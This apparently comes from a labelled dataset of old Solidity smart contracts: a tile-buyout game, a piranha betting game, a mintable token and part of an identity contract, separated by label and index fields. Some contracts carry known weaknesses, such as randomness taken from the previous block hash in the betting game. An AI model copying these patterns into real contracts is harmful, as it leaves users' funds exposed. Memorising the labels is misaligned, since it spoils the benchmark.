y = (identifier - 1) / gameSettings.cols;
x = (identifier - 1) - (y * gameSettings.cols);
}
function setNextGameSettings(
uint256 rows,
uint256 cols,
uint256 initialActivityTimer,
uint256 finalActivityTimer,
uint256 numberOfFlipsToFinalActivityTimer,
uint256 timeoutBonusTime,
uint256 unclaimedTilePrice,
uint256 buyoutReferralBonusPercentage,
uint256 firstBuyoutPrizePoolPercentage,
uint256 buyoutPrizePoolPercentage,
uint256 buyoutDividendPercentage,
uint256 buyoutFeePercentage,
uint256 buyoutPriceIncreasePercentage
)
public
onlyCFO
{
require(2000 <= buyoutDividendPercentage && buyoutDividendPercentage <= 12500);
require(buyoutFeePercentage <= 5000);
if (numberOfFlipsToFinalActivityTimer == 0) {
require(initialActivityTimer == finalActivityTimer);
}
nextGameSettings = GameSettings({
rows: rows,
cols: cols,
initialActivityTimer: initialActivityTimer,
finalActivityTimer: finalActivityTimer,
numberOfFlipsToFinalActivityTimer: numberOfFlipsToFinalActivityTimer,
timeoutBonusTime: timeoutBonusTime,
unclaimedTilePrice: unclaimedTilePrice,
buyoutReferralBonusPercentage: buyoutReferralBonusPercentage,
firstBuyoutPrizePoolPercentage: firstBuyoutPrizePoolPercentage,
buyoutPrizePoolPercentage: buyoutPrizePoolPercentage,
buyoutDividendPercentage: buyoutDividendPercentage,
buyoutFeePercentage: buyoutFeePercentage,
buyoutPriceIncreasePercentage: buyoutPriceIncreasePercentage
});
NextGame(
rows,
cols,
initialActivityTimer,
finalActivityTimer,
numberOfFlipsToFinalActivityTimer,
timeoutBonusTime,
unclaimedTilePrice,
buyoutReferralBonusPercentage,
firstBuyoutPrizePoolPercentage,
buyoutPrizePoolPercentage,
buyoutDividendPercentage,
buyoutFeePercentage,
buyoutPriceIncreasePercentage
);
}
function setActiveTimes(uint256[] _from, uint256[] _to) external onlyCFO {
require(_from.length == _to.length);
activeTimesFrom = _from;
activeTimesTo = _to;
ActiveTimes(_from, _to);
}
function setAllowStart(bool _allowStart) external onlyCFO {
allowStart = _allowStart;
AllowStart(_allowStart);
}
function canStart() public view returns (bool) {
uint256 timeOfWeek = (block.timestamp - 345600) % 604800;
uint256 windows = activeTimesFrom.length;
if (windows == 0) {
return true;
}
for (uint256 i = 0; i < windows; i++) {
if (timeOfWeek >= activeTimesFrom[i] && timeOfWeek <= activeTimesTo[i]) {
return true;
}
}
return false;
}
function calculateBaseTimeout() public view returns(uint256) {
uint256 _numberOfTileFlips = gameStates[gameIndex].numberOfTileFlips;
if (_numberOfTileFlips >= gameSettings.numberOfFlipsToFinalActivityTimer || gameSettings.numberOfFlipsToFinalActivityTimer == 0) {
return gameSettings.finalActivityTimer;
} else {
if (gameSettings.finalActivityTimer <= gameSettings.initialActivityTimer) {
uint256 difference = gameSettings.initialActivityTimer - gameSettings.finalActivityTimer;
uint256 decrease = difference.mul(_numberOfTileFlips).div(gameSettings.numberOfFlipsToFinalActivityTimer);
return (gameSettings.initialActivityTimer - decrease);
} else {
difference = gameSettings.finalActivityTimer - gameSettings.initialActivityTimer;
uint256 increase = difference.mul(_numberOfTileFlips).div(gameSettings.numberOfFlipsToFinalActivityTimer);
return (gameSettings.initialActivityTimer + increase);
}
}
}
function tileTimeoutTimestamp(uint256 identifier, address player) public view returns (uint256) {
uint256 bonusTime = gameSettings.timeoutBonusTime.mul(gameStates[gameIndex].addressToNumberOfTiles[player]);
uint256 timeoutTimestamp = block.timestamp.add(calculateBaseTimeout()).add(bonusTime);
uint256 currentTimeoutTimestamp = gameStates[gameIndex].identifierToTimeoutTimestamp[identifier];
if (currentTimeoutTimestamp == 0) {
currentTimeoutTimestamp = gameStates[gameIndex].gameStartTimestamp.add(gameSettings.initialActivityTimer);
}
if (timeoutTimestamp >= currentTimeoutTimestamp) {
return timeoutTimestamp;
} else {
return currentTimeoutTimestamp;
}
}
function _setGameSettings() internal {
if (gameSettings.rows != nextGameSettings.rows) {
gameSettings.rows = nextGameSettings.rows;
}
if (gameSettings.cols != nextGameSettings.cols) {
gameSettings.cols = nextGameSettings.cols;
}
if (gameSettings.initialActivityTimer != nextGameSettings.initialActivityTimer) {
gameSettings.initialActivityTimer = nextGameSettings.initialActivityTimer;
}
if (gameSettings.finalActivityTimer != nextGameSettings.finalActivityTimer) {
gameSettings.finalActivityTimer = nextGameSettings.finalActivityTimer;
}
if (gameSettings.numberOfFlipsToFinalActivityTimer != nextGameSettings.numberOfFlipsToFinalActivityTimer) {
gameSettings.numberOfFlipsToFinalActivityTimer = nextGameSettings.numberOfFlipsToFinalActivityTimer;
}
if (gameSettings.timeoutBonusTime != nextGameSettings.timeoutBonusTime) {
gameSettings.timeoutBonusTime = nextGameSettings.timeoutBonusTime;
}
if (gameSettings.unclaimedTilePrice != nextGameSettings.unclaimedTilePrice) {
gameSettings.unclaimedTilePrice = nextGameSettings.unclaimedTilePrice;
}
if (gameSettings.buyoutReferralBonusPercentage != nextGameSettings.buyoutReferralBonusPercentage) {
gameSettings.buyoutReferralBonusPercentage = nextGameSettings.buyoutReferralBonusPercentage;
}
if (gameSettings.firstBuyoutPrizePoolPercentage != nextGameSettings.firstBuyoutPrizePoolPercentage) {
gameSettings.firstBuyoutPrizePoolPercentage = nextGameSettings.firstBuyoutPrizePoolPercentage;
}
if (gameSettings.buyoutPrizePoolPercentage != nextGameSettings.buyoutPrizePoolPercentage) {
gameSettings.buyoutPrizePoolPercentage = nextGameSettings.buyoutPrizePoolPercentage;
}
if (gameSettings.buyoutDividendPercentage != nextGameSettings.buyoutDividendPercentage) {
gameSettings.buyoutDividendPercentage = nextGameSettings.buyoutDividendPercentage;
}
if (gameSettings.buyoutFeePercentage != nextGameSettings.buyoutFeePercentage) {
gameSettings.buyoutFeePercentage = nextGameSettings.buyoutFeePercentage;
}
if (gameSettings.buyoutPriceIncreasePercentage != nextGameSettings.buyoutPriceIncreasePercentage) {
gameSettings.buyoutPriceIncreasePercentage = nextGameSettings.buyoutPriceIncreasePercentage;
}
}
}
contract BurnupGameOwnership is BurnupGameBase {
event Transfer(address indexed from, address indexed to, uint256 indexed deedId);
function name() public pure returns (string _deedName) {
_deedName = "Burnup Tiles";
}
function symbol() public pure returns (string _deedSymbol) {
_deedSymbol = "BURN";
}
function _owns(address _owner, uint256 _identifier) internal view returns (bool) {
return gameStates[gameIndex].identifierToOwner[_identifier] == _owner;
}
function _transfer(address _from, address _to, uint256 _identifier) internal {
gameStates[gameIndex].identifierToOwner[_identifier] = _to;
if (_from != 0x0) {
gameStates[gameIndex].addressToNumberOfTiles[_from] = gameStates[gameIndex].addressToNumberOfTiles[_from].sub(1);
}
gameStates[gameIndex].addressToNumberOfTiles[_to] = gameStates[gameIndex].addressToNumberOfTiles[_to].add(1);
Transfer(_from, _to, _identifier);
}
function ownerOf(uint256 _identifier) external view returns (address _owner) {
_owner = gameStates[gameIndex].identifierToOwner[_identifier];
require(_owner != address(0));
}
function transfer(address _to, uint256 _identifier) external whenNotPaused {
require(_owns(msg.sender, _identifier));
_transfer(msg.sender, _to, _identifier);
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract BurnupHoldingAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
mapping (address => bool) burnupGame;
function BurnupHoldingAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyBurnupGame() {
require(burnupGame[msg.sender]);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function addBurnupGame(address addr) external onlyOwner {
burnupGame[addr] = true;
}
function removeBurnupGame(address addr) external onlyOwner {
delete burnupGame[addr];
}
}
contract BurnupHoldingReferral is BurnupHoldingAccessControl {
event SetReferrer(address indexed referral, address indexed referrer);
mapping (address => address) addressToReferrerAddress;
function referrerOf(address player) public view returns (address) {
return addressToReferrerAddress[player];
}
function _setReferrer(address playerAddr, address referrerAddr) internal {
addressToReferrerAddress[playerAddr] = referrerAddr;
SetReferrer(playerAddr, referrerAddr);
}
}
contract BurnupHoldingCore is BurnupHoldingReferral, PullPayment {
using SafeMath for uint256;
address public beneficiary1;
address public beneficiary2;
function BurnupHoldingCore(address _beneficiary1, address _beneficiary2) public {
cfoAddress = msg.sender;
beneficiary1 = _beneficiary1;
beneficiary2 = _beneficiary2;
}
function payBeneficiaries() external payable {
uint256 paymentHalve = msg.value.div(2);
uint256 otherPaymentHalve = msg.value.sub(paymentHalve);
asyncSend(beneficiary1, paymentHalve);
asyncSend(beneficiary2, otherPaymentHalve);
}
function setBeneficiary1(address addr) external onlyCFO {
beneficiary1 = addr;
}
function setBeneficiary2(address addr) external onlyCFO {
beneficiary2 = addr;
}
function setReferrer(address playerAddr, address referrerAddr) external onlyBurnupGame whenNotPaused returns(bool) {
if (referrerOf(playerAddr) == address(0x0) && playerAddr != referrerAddr) {
_setReferrer(playerAddr, referrerAddr);
return true;
}
return false;
}
}
contract BurnupGameFinance is BurnupGameOwnership, PullPayment {
BurnupHoldingCore burnupHolding;
function BurnupGameFinance(address burnupHoldingAddress) public {
burnupHolding = BurnupHoldingCore(burnupHoldingAddress);
}
function _claimedSurroundingTiles(uint256 _deedId) internal view returns (uint256[] memory) {
var (x, y) = identifierToCoordinate(_deedId);
uint256 claimed = 0;
uint256[] memory _tiles = new uint256[](8);
for (int256 dx = -1; dx <= 1; dx++) {
for (int256 dy = -1; dy <= 1; dy++) {
if (dx == 0 && dy == 0) {
continue;
}
uint256 nx = uint256(int256(x) + dx);
uint256 ny = uint256(int256(y) + dy);
if (nx >= gameSettings.cols || ny >= gameSettings.rows) {
continue;
}
uint256 neighborIdentifier = coordinateToIdentifier(
nx,
ny
);
if (gameStates[gameIndex].identifierToOwner[neighborIdentifier] != address(0x0)) {
_tiles[claimed] = neighborIdentifier;
claimed++;
}
}
}
uint256[] memory tiles = new uint256[](claimed);
for (uint256 i = 0; i < claimed; i++) {
tiles[i] = _tiles[i];
}
return tiles;
}
function nextBuyoutPrice(uint256 price) public view returns (uint256) {
if (price < 0.02 ether) {
return price.mul(200).div(100);
} else {
return price.mul(gameSettings.buyoutPriceIncreasePercentage).div(100000);
}
}
function _assignBuyoutProceeds(
address currentOwner,
uint256[] memory claimedSurroundingTiles,
uint256 fee,
uint256 currentOwnerWinnings,
uint256 totalDividendPerBeneficiary,
uint256 referralBonus,
uint256 prizePoolFunds
)
internal
{
if (currentOwner != 0x0) {
_sendFunds(currentOwner, currentOwnerWinnings);
} else {
uint256 prizePoolPart = currentOwnerWinnings.mul(gameSettings.firstBuyoutPrizePoolPercentage).div(100000);
prizePoolFunds = prizePoolFunds.add(prizePoolPart);
fee = fee.add(currentOwnerWinnings.sub(prizePoolPart));
}
for (uint256 i = 0; i < claimedSurroundingTiles.length; i++) {
address beneficiary = gameStates[gameIndex].identifierToOwner[claimedSurroundingTiles[i]];
_sendFunds(beneficiary, totalDividendPerBeneficiary);
}
address referrer1 = burnupHolding.referrerOf(msg.sender);
if (referrer1 != 0x0) {
_sendFunds(referrer1, referralBonus);
address referrer2 = burnupHolding.referrerOf(referrer1);
if (referrer2 != 0x0) {
_sendFunds(referrer2, referralBonus);
} else {
fee = fee.add(referralBonus);
}
} else {
fee = fee.add(referralBonus.mul(2));
}
burnupHolding.payBeneficiaries.value(fee)();
gameStates[gameIndex].prizePool = gameStates[gameIndex].prizePool.add(prizePoolFunds);
}
function currentPrice(uint256 _deedId) public view returns (uint256 price) {
address currentOwner = gameStates[gameIndex].identifierToOwner[_deedId];
if (currentOwner == 0x0) {
price = gameSettings.unclaimedTilePrice;
} else {
price = gameStates[gameIndex].identifierToBuyoutPrice[_deedId];
}
}
function _calculateAndAssignBuyoutProceeds(address currentOwner, uint256 price, uint256[] memory claimedSurroundingTiles)
internal
{
uint256 variableDividends = price.mul(gameSettings.buyoutDividendPercentage).div(100000);
uint256 fee = price.mul(gameSettings.buyoutFeePercentage).div(100000);
uint256 referralBonus = price.mul(gameSettings.buyoutReferralBonusPercentage).div(100000);
uint256 prizePoolFunds = price.mul(gameSettings.buyoutPrizePoolPercentage).div(100000);
uint256 currentOwnerWinnings = price.sub(fee).sub(referralBonus.mul(2)).sub(prizePoolFunds);
uint256 totalDividendPerBeneficiary;
if (claimedSurroundingTiles.length > 0) {
totalDividendPerBeneficiary = variableDividends / claimedSurroundingTiles.length;
currentOwnerWinnings = currentOwnerWinnings.sub(totalDividendPerBeneficiary * claimedSurroundingTiles.length);
}
_assignBuyoutProceeds(
currentOwner,
claimedSurroundingTiles,
fee,
currentOwnerWinnings,
totalDividendPerBeneficiary,
referralBonus,
prizePoolFunds
);
}
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
}
contract BurnupGameCore is BurnupGameFinance {
function BurnupGameCore(address burnupHoldingAddress) public BurnupGameFinance(burnupHoldingAddress) {}
function buyout(uint256 _gameIndex, bool startNewGameIfIdle, uint256 x, uint256 y) public payable {
_processGameEnd();
if (!gameStates[gameIndex].gameStarted) {
require(!paused);
if (allowStart) {
allowStart = false;
} else {
require(canStart());
}
require(startNewGameIfIdle);
_setGameSettings();
gameStates[gameIndex].gameStarted = true;
gameStates[gameIndex].gameStartTimestamp = block.timestamp;
gameStates[gameIndex].penultimateTileTimeout = block.timestamp + gameSettings.initialActivityTimer;
Start(
gameIndex,
msg.sender,
block.timestamp,
gameStates[gameIndex].prizePool
);
PenultimateTileTimeout(gameIndex, gameStates[gameIndex].penultimateTileTimeout);
}
if (startNewGameIfIdle) {
require(_gameIndex == gameIndex || _gameIndex.add(1) == gameIndex);
} else {
require(_gameIndex == gameIndex);
}
uint256 identifier = coordinateToIdentifier(x, y);
address currentOwner = gameStates[gameIndex].identifierToOwner[identifier];
if (currentOwner == address(0x0)) {
require(gameStates[gameIndex].gameStartTimestamp.add(gameSettings.initialActivityTimer) >= block.timestamp);
} else {
require(gameStates[gameIndex].identifierToTimeoutTimestamp[identifier] >= block.timestamp);
}
uint256 price = currentPrice(identifier);
require(msg.value >= price);
uint256[] memory claimedSurroundingTiles = _claimedSurroundingTiles(identifier);
_calculateAndAssignBuyoutProceeds(currentOwner, price, claimedSurroundingTiles);
uint256 timeout = tileTimeoutTimestamp(identifier, msg.sender);
gameStates[gameIndex].identifierToTimeoutTimestamp[identifier] = timeout;
if (gameStates[gameIndex].lastTile == 0 || timeout >= gameStates[gameIndex].identifierToTimeoutTimestamp[gameStates[gameIndex].lastTile]) {
if (gameStates[gameIndex].lastTile != identifier) {
if (gameStates[gameIndex].lastTile != 0) {
gameStates[gameIndex].penultimateTileTimeout = gameStates[gameIndex].identifierToTimeoutTimestamp[gameStates[gameIndex].lastTile];
PenultimateTileTimeout(gameIndex, gameStates[gameIndex].penultimateTileTimeout);
}
gameStates[gameIndex].lastTile = identifier;
LastTile(gameIndex, identifier, x, y);
}
} else if (timeout > gameStates[gameIndex].penultimateTileTimeout) {
gameStates[gameIndex].penultimateTileTimeout = timeout;
PenultimateTileTimeout(gameIndex, timeout);
}
_transfer(currentOwner, msg.sender, identifier);
gameStates[gameIndex].identifierToBuyoutPrice[identifier] = nextBuyoutPrice(price);
gameStates[gameIndex].numberOfTileFlips++;
Buyout(gameIndex, msg.sender, identifier, x, y, block.timestamp, timeout, gameStates[gameIndex].identifierToBuyoutPrice[identifier], gameStates[gameIndex].prizePool);
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function buyoutAndSetReferrer(uint256 _gameIndex, bool startNewGameIfIdle, uint256 x, uint256 y, address referrerAddress) external payable {
burnupHolding.setReferrer(msg.sender, referrerAddress);
buyout(_gameIndex, startNewGameIfIdle, x, y);
}
function spiceUp(uint256 _gameIndex, string message) external payable {
_processGameEnd();
require(_gameIndex == gameIndex);
require(gameStates[gameIndex].gameStarted || !paused);
require(msg.value > 0);
gameStates[gameIndex].prizePool = gameStates[gameIndex].prizePool.add(msg.value);
SpiceUpPrizePool(gameIndex, msg.sender, msg.value, message, gameStates[gameIndex].prizePool);
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStates[gameIndex].gameStarted) {
return false;
}
address currentOwner = gameStates[gameIndex].identifierToOwner[gameStates[gameIndex].lastTile];
if (currentOwner == address(0x0)) {
return false;
}
if (gameStates[gameIndex].penultimateTileTimeout >= block.timestamp) {
return false;
}
if (gameStates[gameIndex].prizePool > 0) {
_sendFunds(currentOwner, gameStates[gameIndex].prizePool);
}
var (x, y) = identifierToCoordinate(gameStates[gameIndex].lastTile);
End(gameIndex, currentOwner, gameStates[gameIndex].lastTile, x, y, gameStates[gameIndex].identifierToTimeoutTimestamp[gameStates[gameIndex].lastTile], gameStates[gameIndex].prizePool);
gameIndex++;
return true;
}
} | 0 | 348 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Payments {
mapping(address => uint256) public payments;
function getBalance() public constant returns(uint256) {
return payments[msg.sender];
}
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
payments[payee] = 0;
assert(payee.send(payment));
}
}
contract ERC721 {
function totalSupply() constant returns (uint256);
function ownerOf(uint256) constant returns (address);
}
contract PiranhasBattle is Ownable, Payments {
using SafeMath for uint256;
mapping(uint256 => mapping(uint256 => uint256)) public fightersToBattle;
mapping(uint256 => mapping(uint256 => uint256)) public battleToFighterToSize;
mapping(uint256 => mapping(uint256 => uint256)) public battleToFighterToBet;
mapping(uint256 => uint256) public battleToWinner;
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public addressToBattleToFigterIdToBetPower;
uint256 public battleId;
address[][] public betsOnFighter;
ERC721 piranhas = ERC721(0x2B434a1B41AFE100299e5Be39c4d5be510a6A70C);
function piranhasTotalSupply() constant returns (uint256) {
return piranhas.totalSupply();
}
function ownerOfPiranha(uint256 _piranhaId) constant returns (address) {
return piranhas.ownerOf(_piranhaId);
}
function theBet(uint256 _piranhaFighter1, uint256 _piranhaFighter2, uint256 _betOnFighterId) public payable {
require (_piranhaFighter1 > 0 && _piranhaFighter2 > 0 && _piranhaFighter1 != _piranhaFighter2);
uint256 curBattleId=fightersToBattle[_piranhaFighter1][_piranhaFighter2];
require (battleToWinner[curBattleId] == 0);
require (msg.value >= 0.001 ether && msg.sender != address(0));
if (curBattleId == 0) {
battleId = betsOnFighter.push([msg.sender]);
fightersToBattle[_piranhaFighter1][_piranhaFighter2] = battleId;
battleToFighterToSize[battleId][_piranhaFighter1]=240;
battleToFighterToSize[battleId][_piranhaFighter2]=240;
} else {
if (addressToBattleToFigterIdToBetPower[msg.sender][battleId][_piranhaFighter1]==0 && addressToBattleToFigterIdToBetPower[msg.sender][battleId][_piranhaFighter2]==0)
betsOnFighter[battleId-1].push(msg.sender);
}
uint256 fighter1Size = battleToFighterToSize[battleId][_piranhaFighter1];
uint256 fighter2Size = battleToFighterToSize[battleId][_piranhaFighter2];
uint256 theBetPower = SafeMath.div(msg.value,1000000000000000);
battleToFighterToBet[battleId][_betOnFighterId] += theBetPower;
addressToBattleToFigterIdToBetPower[msg.sender][battleId][_betOnFighterId] += theBetPower;
uint8 randNum = uint8(block.blockhash(block.number-1))%2;
if (randNum==0) {
if ( fighter1Size+theBetPower >= 240)
battleToFighterToSize[battleId][_piranhaFighter1] = 240;
else
battleToFighterToSize[battleId][_piranhaFighter1] += theBetPower;
if ( fighter2Size <= theBetPower) {
battleToFighterToSize[battleId][_piranhaFighter2] = 0;
_finishTheBattle(battleId, _piranhaFighter1, _piranhaFighter2, 1);
}
else
battleToFighterToSize[battleId][_piranhaFighter2] -= theBetPower;
} else {
if ( fighter2Size+theBetPower >= 240)
battleToFighterToSize[battleId][_piranhaFighter2] = 240;
else
battleToFighterToSize[battleId][_piranhaFighter2] += theBetPower;
if ( fighter1Size <= theBetPower) {
battleToFighterToSize[battleId][_piranhaFighter1] = 0;
_finishTheBattle(battleId, _piranhaFighter1, _piranhaFighter2, 2);
}
else
battleToFighterToSize[battleId][_piranhaFighter1] -= theBetPower;
}
}
function _finishTheBattle (uint256 _battleId, uint256 _piranhaFighter1, uint256 _piranhaFighter2, uint8 _winner) private {
uint256 winnerId=_piranhaFighter1;
uint256 looserId=_piranhaFighter2;
if (_winner==2) {
winnerId=_piranhaFighter2;
looserId=_piranhaFighter1;
battleToWinner[_battleId]=_piranhaFighter2;
} else {
battleToWinner[_battleId]=_piranhaFighter1;
}
uint256 winPot=battleToFighterToBet[_battleId][looserId]*900000000000000;
uint256 divsForPiranhaOwner=battleToFighterToBet[_battleId][looserId]*100000000000000;
uint256 prizeUnit = uint256((battleToFighterToBet[_battleId][winnerId] * 1000000000000000 + winPot) / battleToFighterToBet[_battleId][winnerId]);
for (uint256 i=0; i < betsOnFighter[_battleId-1].length; i++) {
if (addressToBattleToFigterIdToBetPower[betsOnFighter[_battleId-1][i]][_battleId][winnerId] != 0)
payments[betsOnFighter[_battleId-1][i]] += prizeUnit * addressToBattleToFigterIdToBetPower[betsOnFighter[_battleId-1][i]][_battleId][winnerId];
}
if (divsForPiranhaOwner>0) {
address piranhaOwner=ownerOfPiranha(winnerId);
if (piranhaOwner!=address(0))
piranhaOwner.send(divsForPiranhaOwner);
}
}
} | 0 | 2,094 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
interface IEventListener {
function onTokenTransfer(address _from, address _to, uint256 _value) external;
function onTokenApproval(address _from, address _to, uint256 _value) external;
}
contract Holdable is PausableToken {
mapping(address => uint256) holders;
mapping(address => bool) allowTransfer;
IEventListener public listener;
event Hold(address holder, uint256 expired);
event Unhold(address holder);
function hold(address _holder, uint256 _expired) public onlyOwner {
holders[_holder] = _expired;
Hold(_holder, _expired);
}
function isHold(address _holder) public view returns(bool) {
return holders[_holder] > block.timestamp;
}
function unhold() public {
address holder = msg.sender;
require(block.timestamp >= holders[holder]);
delete holders[holder];
Unhold(holder);
}
function unhold(address _holder) public {
require(block.timestamp >= holders[_holder]);
delete holders[_holder];
Unhold(_holder);
}
function addAllowTransfer(address _holder) public onlyOwner {
allowTransfer[_holder] = true;
}
function isAllowTransfer(address _holder) public view returns(bool) {
return allowTransfer[_holder] || (!paused && block.timestamp >= holders[_holder]);
}
modifier whenNotPaused() {
require(isAllowTransfer(msg.sender));
_;
}
function addListener(address _listener) public onlyOwner {
listener = IEventListener(_listener);
}
function isListener() internal view returns(bool) {
return listener != address(0);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
super.transferFrom(from, to, value);
if (isListener()) listener.onTokenTransfer(from, to, value);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
super.transfer(to, value);
if (isListener()) listener.onTokenTransfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
super.approve(spender, value);
if (isListener()) listener.onTokenApproval(msg.sender, spender, value);
return true;
}
}
contract YTN is Holdable, MintableToken, BurnableToken {
using SafeMath for uint256;
enum States {PreOrder, ProofOfConcept, DAICO, Final}
States public state;
string public symbol = 'YTN';
string public name = 'YouToken';
uint256 public decimals = 18;
uint256 public cap;
uint256 public proofOfConceptCap;
uint256 public DAICOCap;
function YTN(uint256 _proofOfConceptCap, uint256 _DAICOCap) public {
proofOfConceptCap = _proofOfConceptCap;
DAICOCap = _DAICOCap;
setState(uint(States.PreOrder));
}
function() public payable {
revert();
}
function setState(uint _state) public onlyOwner {
require(uint(state) <= _state && uint(States.Final) >= _state);
state = States(_state);
if (state == States.PreOrder || state == States.ProofOfConcept) {
cap = proofOfConceptCap;
}
if (state == States.DAICO) {
cap = DAICOCap + totalSupply_;
pause();
}
if (state == States.Final) {
finishMinting();
unpause();
}
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
} | 1 | 5,145 |
pragma solidity ^0.4.18;
contract EtherealId{
string public constant CONTRACT_NAME = "EtherealId";
string public constant CONTRACT_VERSION = "A";
mapping (address => bool) private IsAuthority;
address private Creator;
address private Owner;
bool private Active;
mapping(bytes32 => bool) private Proof;
mapping (address => bool) private BlockedAddresses;
